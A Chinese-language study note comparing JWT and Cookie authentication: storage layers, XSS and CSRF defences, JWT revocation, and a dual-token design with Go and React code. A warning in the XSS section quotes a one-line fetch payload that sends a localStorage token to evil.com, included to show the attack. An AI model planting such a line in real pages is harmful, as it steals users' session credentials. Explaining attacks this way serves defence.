16 KiB
tags, create time
| tags | create time | |||||||
|---|---|---|---|---|---|---|---|---|
|
2026-05-23 00:01 |
JWT vs Cookie:认证方案全景对比
概述
JWT 和 Cookie 是 Web 认证体系中两个最容易被混淆的概念。但它们根本不在同一个层面——JWT 是令牌格式(数据结构),Cookie 是存储与传输机制(浏览器行为)。把两者对立起来比较,就像拿"信件内容格式"和"邮递系统"做对比一样,维度完全不同。
本文从架构、安全、工程实践三个角度,系统对比两者,并给出组合使用的最佳实践。
[!question] 先想一个问题 JWT 存在哪里?Cookie 存在哪里?如果你的答案是"JWT 存客户端,Cookie 存浏览器",那说明这个误区正好是本文要澄清的。
JWT 是一段数据,它可以存在 localStorage、内存变量、甚至 Cookie 里。Cookie 是浏览器的一种存储和传输机制,它可以存 JWT,也可以存 Session ID,或者任何字符串。
两者的关系是:JWT 需要一个载体,Cookie 是候选载体之一。
核心定位
层次模型
flowchart TB
subgraph Transport["传输层 — 数据怎么送到服务端"]
A["Authorization 头 — 前端手动注入"]
B["Cookie — 浏览器自动携带"]
C["URL 参数 — 不推荐"]
end
subgraph Format["数据层 — 送的是什么"]
D["JWT — 签名的 JSON 令牌"]
E["Session ID — 随机 UUID"]
F["自定义 Token — 任意字符串"]
end
subgraph Storage["存储层 — 存在哪里"]
G["localStorage — JS 可读写"]
H["HTTP-only Cookie — JS 不可读"]
I["内存变量 — 刷新即失"]
J["服务端 Session Store — Redis/DB"]
end
D --> A
D --> B
E --> B
F --> A
A --> G
A --> I
B --> H
E --> J
概念对比
| 维度 | JWT | Cookie |
|---|---|---|
| 本质 | 令牌格式(数据载体) | 存储与传输机制(浏览器行为) |
| 类比 | 信件内容的格式规范 | 邮递系统(自动送信) |
| 谁控制 | 开发者手动管理生命周期 | 浏览器根据响应头自动管理 |
| 数据可见性 | Base64 可解码(但签名防篡改) | 明文存储(除非加密) |
| 标准 | RFC 7519 | RFC 6265 |
[!tip] 关键区分 问自己一个问题:"这个方案里,浏览器有没有自动帮我传数据?"
- 有 → 用的是 Cookie 传输(不管里面存的是 Session ID 还是 JWT)
- 没有 → 前端代码手动设
Authorization头(JWT 或其他 Token)
安全模型对比
JWT + Authorization 头和 Cookie 的安全攻防完全不同,因为攻击面不同。
攻击面总览
flowchart LR
subgraph JWT_Auth["JWT + Authorization 头"]
direction TB
JA1["存储位置, localStorage"]
JA2["传输方式, 前端手动注入"]
JA3["主要威胁, XSS 窃取 Token"]
JA4["CSRF 风险, 低, 不自动发送"]
end
subgraph Cookie_Auth["Cookie 认证"]
direction TB
CA1["存储位置, 浏览器 Cookie 存储"]
CA2["传输方式, 浏览器自动携带"]
CA3["主要威胁, CSRF 伪造请求"]
CA4["XSS 风险, 低, HttpOnly 不可读"]
end
XSS 攻防
XSS(跨站脚本)的核心:攻击者注入恶意 JS,窃取客户端存储的凭证。
| 方案 | 存储方式 | XSS 风险 | 说明 |
|---|---|---|---|
| JWT + localStorage | JS 可读 | 高 | 一旦 XSS 漏洞被利用,localStorage.getItem('token') 直接暴露 |
| JWT + 内存变量 | JS 可读但不持久 | 中 | 刷新页面即丢失,攻击窗口小,但 XSS 执行期间仍可读取 |
| JWT + HTTP-only Cookie | JS 不可读 | 低 | HttpOnly 阻断 JS 访问,XSS 无法直接窃取 |
| Session ID + HTTP-only Cookie | JS 不可读 | 低 | 同上,HttpOnly 是核心防线 |
[!warning] localStorage 是 XSS 的"自助餐" 如果你的前端存在任何 XSS 漏洞(包括第三方依赖的漏洞),localStorage 中的 JWT 就是裸奔。攻击者只需一行代码
fetch('https://evil.com/?t=' + localStorage.getItem('token'))即可完成窃取。而
HttpOnlyCookie 是浏览器内核级别的隔离,JS 无法通过任何 API 读取——这才是真正的纵深防御。
CSRF 攻防
CSRF(跨站请求伪造)的核心:浏览器自动携带目标域的 Cookie,攻击者借此伪造用户请求。
| 方案 | 自动携带凭证 | CSRF 风险 | 说明 |
|---|---|---|---|
JWT + Authorization 头 |
否 | 无 | Authorization 头需要 JS 手动设置,浏览器不会自动加 |
| JWT + Cookie | 是 | 有 | 和普通 Cookie 认证一样,需 SameSite / CSRF Token 防护 |
| Session ID + Cookie | 是 | 有 | 需配合 SameSite=Lax/Strict 或 CSRF Token |
sequenceDiagram
participant User as "用户"
participant SiteB as "恶意网站 B"
participant Server as "服务端"
Note over SiteB: "CSRF 攻击流程"
SiteB->>Server: "POST /transfer, Cookie 自动携带"
Server->>Server: "Cookie 合法, 请求被处理"
Server-->>SiteB: "转账成功"
Note over Server: "防御 SameSite Lax"
SiteB->>Server: "POST /transfer, Cookie 不携带"
Server-->>SiteB: "401 Unauthorized"
[!question] 为什么
Authorization天然免疫 CSRF? CSRF 利用的是浏览器自动携带凭证的行为。Authorization头需要 JS 代码显式设置,浏览器不会自动注入——攻击者的恶意页面里没有你的 JS 代码,自然无法伪造Authorization头。但要注意:如果你把 JWT 存在 Cookie 里(为了防 XSS),那 CSRF 风险就回来了。安全没有银弹,只有权衡。
综合安全评分
| 安全维度 | JWT + localStorage | JWT + Cookie (HttpOnly) | Session + Cookie (HttpOnly) |
|---|---|---|---|
| XSS 防护 | ❌ 弱 | ✅ 强 | ✅ 强 |
| CSRF 防护 | ✅ 天然免疫 | ⚠️ 需额外防护 | ⚠️ 需额外防护 |
| 传输安全 | HTTPS | HTTPS + Secure 属性 | HTTPS + Secure 属性 |
| 令牌泄露影响 | 长期有效(至过期) | 长期有效(至过期) | 可即时吊销 |
| 实现复杂度 | 低 | 中 | 低 |
[!info] 安全结论 没有"绝对安全"的方案,只有"适合场景"的方案:
- 对 XSS 防御有信心(CSP + 输入转义 + 无第三方脚本风险)→ JWT + localStorage,实现简单
- 对 XSS 没信心,或安全要求高 → JWT 存 HTTP-only Cookie,但需补 CSRF 防护
- 传统 Web,需即时吊销 → Session + Cookie,最成熟可控
传输与工程实践对比
传输行为差异
sequenceDiagram
participant B as "浏览器"
participant S as "服务端"
Note over B: "方案 A, JWT + Authorization 头"
B->>B: "JS 从 localStorage 读取 Token"
B->>S: "GET /api/user, Authorization Bearer xxx"
S->>S: "解析 Authorization 头, 验签"
Note over B: "方案 B, Cookie 自动传输"
B->>S: "GET /api/user, Cookie 自动携带"
S->>S: "读取 Cookie 中的 Session ID 或 JWT"
| 工程维度 | JWT + Authorization 头 | Cookie 自动传输 |
|---|---|---|
| 前端工作量 | 需手动管理 Token 存储/注入/刷新 | 登录后浏览器自动处理 |
| 跨域支持 | 天然支持(手动设头即可) | 需 CORS 配置 + credentials: "include" |
| 移动端兼容 | 完美(不受浏览器 Cookie 策略限制) | 需要 WebView 支持 |
| 负载大小 | 500B~1KB(含 payload + 签名) | ~36B(仅 Session ID) |
| 服务端开销 | CPU 验签(轻量) | 查 Redis/DB(I/O) |
| 实时吊销 | 难(需黑名单或版本号) | 易(删 Session 即失效) |
| 水平扩展 | 天然支持(各服务独立验签,无需共享状态) | 需共享 Session 存储(Redis 等) |
[!question] 为什么跨域场景倾向选 JWT + Authorization 头? Cookie 的跨域需要 CORS 配置白名单、
credentials: true、且Allow-Origin不能用通配符——配置繁琐且容易出错。而Authorization头不受同源策略的 Cookie 限制,前端只需在请求拦截器里加一行,后端做标准的 Bearer Token 验证即可。但代价是:前端要自己管理 Token 的生命周期——存储、注入、刷新、失效处理,这些都是 Cookie 浏览器自动帮你做的事。
JWT 吊销策略
JWT 最大的工程痛点之一就是实时吊销难——Token 签发后在过期前一直有效。以下是常见的应对手段:
| 策略 | 实现方式 | 适用场景 | 代价 |
|---|---|---|---|
| 短过期 + 自动续期 | Access Token 15min,配合 Refresh Token 轮换 | 大多数场景的默认选择 | 无法秒级吊销,最长有 15min 窗口 |
| Token 黑名单 | Redis 存被吊销的 Token JTI,每次请求校验 | 需要精确吊销(如用户主动登出、密码重置) | 引入状态存储,每次请求多一次 Redis 查询 |
| Token 版本号 | 用户表维护 token_version,JWT payload 携带版本号,校验时比对 |
批量吊销(如"强制该用户所有设备下线") | 需要查库,但比黑名单轻量 |
| Refresh Token 轮换 | 每次刷新签发新的 Refresh Token,旧的立即失效 | 防止 Refresh Token 泄露被重放 | 需要 Redis 存储 Token 家族关系 |
[!tip] 实战建议 大部分场景用 短过期 + 黑名单 就够了。Access Token 设 15 分钟过期,用户登出或密码重置时将 Token JTI 加入 Redis 黑名单(TTL 等于 Token 剩余有效期)。不需要每次都查黑名单——只有在"安全事件"时才写入。
别试图实现"完美吊销"——那本质上就是 Session 方案了。JWT 的优势是无状态验证,频繁查库违背了它的设计初衷。
组合最佳实践:双令牌策略
真正的生产环境很少"二选一",而是两者结合,取长补短。
架构设计
flowchart TD
subgraph Login["登录流程"]
A["用户提交凭据"] --> B["服务端校验"]
B -->|"成功"| C["签发 Access Token, JWT, 15min"]
C --> D["签发 Refresh Token, UUID, 7d"]
D --> E["Access Token 返回响应体"]
D --> F["Refresh Token 存 HttpOnly Cookie"]
end
subgraph Request["API 请求"]
G["前端从内存取 Access Token"] --> H["注入 Authorization 头"]
H --> I["服务端验签, 无需查库"]
end
subgraph Refresh["Token 刷新"]
J["Access Token 过期"] --> K["前端请求 refresh"]
K --> L["浏览器自动带 Refresh Token Cookie"]
L --> M{"Refresh Token 有效"}
M -->|"是"| N["签发新 Access Token"]
M -->|"否"| O["跳转登录页"]
end
各层职责
| 组件 | 存储位置 | 生命周期 | 职责 |
|---|---|---|---|
| Access Token | 前端内存或 localStorage | 15 分钟 | API 调用凭证,过期即丢 |
| Refresh Token | Http-only + Secure + SameSite=Strict Cookie | 7 天 | 仅用于换取新 Access Token |
[!tip] 为什么 Refresh Token 存 Cookie 而不是 Access Token?
- Refresh Token 访问频率低(仅在 Access Token 过期时使用),Cookie 的自动传输特性在此是优势
- Refresh Token 是高价值目标,Http-only Cookie 防 XSS 比 localStorage 安全
- Access Token 访问频率高,存 localStorage 可避免每次请求的 Cookie 开销,也天然免疫 CSRF
这样两者各取所长:Access Token 的便利性 + Refresh Token 的安全性。
Go 实现
// 签发双令牌
func IssueTokenPair(c *gin.Context, userID uint, role string) {
// 1. Access Token: JWT, 短期
accessToken, _ := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
"sub": userID,
"role": role,
"exp": time.Now().Add(15 * time.Minute).Unix(),
}).SignedString([]byte(os.Getenv("JWT_SECRET")))
// 2. Refresh Token: 随机 UUID, 存 Redis
refreshToken := uuid.New().String()
redis.Set(ctx, "refresh:"+refreshToken, userID, 7*24*time.Hour)
// 3. Refresh Token 存入 HttpOnly Cookie
c.SetCookie("refresh_token", refreshToken, 7*86400, "/auth/refresh",
"", true, true) // Secure + HttpOnly(Gin 需手动设 header)
// 4. Access Token 返回响应体
c.JSON(200, gin.H{"accessToken": accessToken, "expiresIn": 900})
}
// 刷新端点:从 Cookie 读 Refresh Token,签发新 Access Token
func RefreshHandler(c *gin.Context) {
refreshToken, err := c.Cookie("refresh_token")
if err != nil {
c.AbortWithStatusJSON(401, gin.H{"error": "no refresh token"})
return
}
userID, err := redis.Get(ctx, "refresh:"+refreshToken).Result()
if err != nil {
c.AbortWithStatusJSON(401, gin.H{"error": "refresh token expired"})
return
}
// 签发新 Access Token(Refresh Token 不变)
newAccessToken, _ := GenerateAccessToken(userID)
c.JSON(200, gin.H{"accessToken": newAccessToken, "expiresIn": 900})
}
React 前端
const api = axios.create({ baseURL: "/api" });
// 请求拦截器:自动注入 Access Token
api.interceptors.request.use((config) => {
const token = getAccessTokenFromMemory(); // 从内存读,不从 localStorage
if (token) config.headers.Authorization = `Bearer ${token}`;
return config;
});
// 响应拦截器:401 时自动刷新
api.interceptors.response.use(
(res) => res,
async (err) => {
if (err.response?.status === 401 && !err.config._retry) {
err.config._retry = true;
try {
// 调用刷新接口 — Refresh Token 由浏览器 Cookie 自动携带
const { data } = await axios.post("/api/auth/refresh");
setAccessTokenInMemory(data.accessToken);
err.config.headers.Authorization = `Bearer ${data.accessToken}`;
return api.request(err.config);
} catch {
window.location.href = "/login"; // 刷新失败,重新登录
}
}
return Promise.reject(err);
},
);
[!note] 为什么 Access Token 存内存而不存 localStorage? 内存变量在页面刷新后会丢失,这看起来是缺点,但恰恰是优势——XSS 攻击的窗口被缩小到当前页面生命周期。每次刷新页面都会用 Refresh Token(存在 Http-only Cookie 里,XSS 读不到)重新获取 Access Token,实现"无感续期"。
选型决策指南
flowchart TD
A["选择认证方案"] --> B{"架构类型"}
B -->|"传统 Web SSR"| C{"需要即时吊销"}
C -->|"是"| D["Session + Cookie"]
C -->|"否"| E["JWT + Cookie HttpOnly"]
B -->|"前后端分离 SPA"| F{"安全要求"}
F -->|"高"| G["双令牌策略 Access + Refresh"]
F -->|"标准"| H["JWT + localStorage + Authorization 头"]
B -->|"移动端"| I["JWT + Authorization 头, 存内存"]
B -->|"微服务内部通信"| J["JWT 非对称签名 RS256"]
D --> D1["Redis 存 Session, 服务端可控"]
E --> E1["浏览器自动传输, 无需前端管理"]
G --> G1["Access Token 内存, Refresh Token Cookie"]
H --> H1["实现简单, 注意 XSS 防护"]
I --> I1["无浏览器 Cookie 限制"]
J --> J1["私钥签发, 公钥验签"]
style D fill:#e8f4f8
style G fill:#fde8e8
style H fill:#fff3cd
style I fill:#d4edda
速查表
| 场景 | 推荐方案 | 理由 |
|---|---|---|
| 企业后台管理系统 | Session + Cookie | 功能集中,需即时踢人,单体架构 |
| 前后端分离 SPA | 双令牌策略 | 兼顾安全与体验 |
| 移动端 App | JWT + Authorization 头 | 无 Cookie 机制,Token 存安全存储 |
| 微服务网关 | JWT 非对称签名 | 各服务独立验签,无需查中心存储 |
| SSO 单点登录 | JWT + Cookie (Partitioned) | 跨站场景需 CHIPS 支持 |
[!info] 没有银弹 每种方案都有取舍。选型时问自己三个问题:
- 能不能接受用户 Token 在过期前无法强制失效? → 能:JWT;不能:Session
- 前端有没有能力和意愿管理 Token 生命周期? → 有:Authorization 头;没有:Cookie
- 架构是否需要跨域或跨服务? → 是:JWT;否:Session 足够
答案组合起来就是你的最优解。
关联笔记
- hhs/DEV/鉴权策略/JWT/JWT — JWT 令牌格式与认证流程详解
- Cookie — Cookie 机制、属性与安全防护
- SameSite 与 CSRF 防护 — SameSite 属性与 CSRF 攻防策略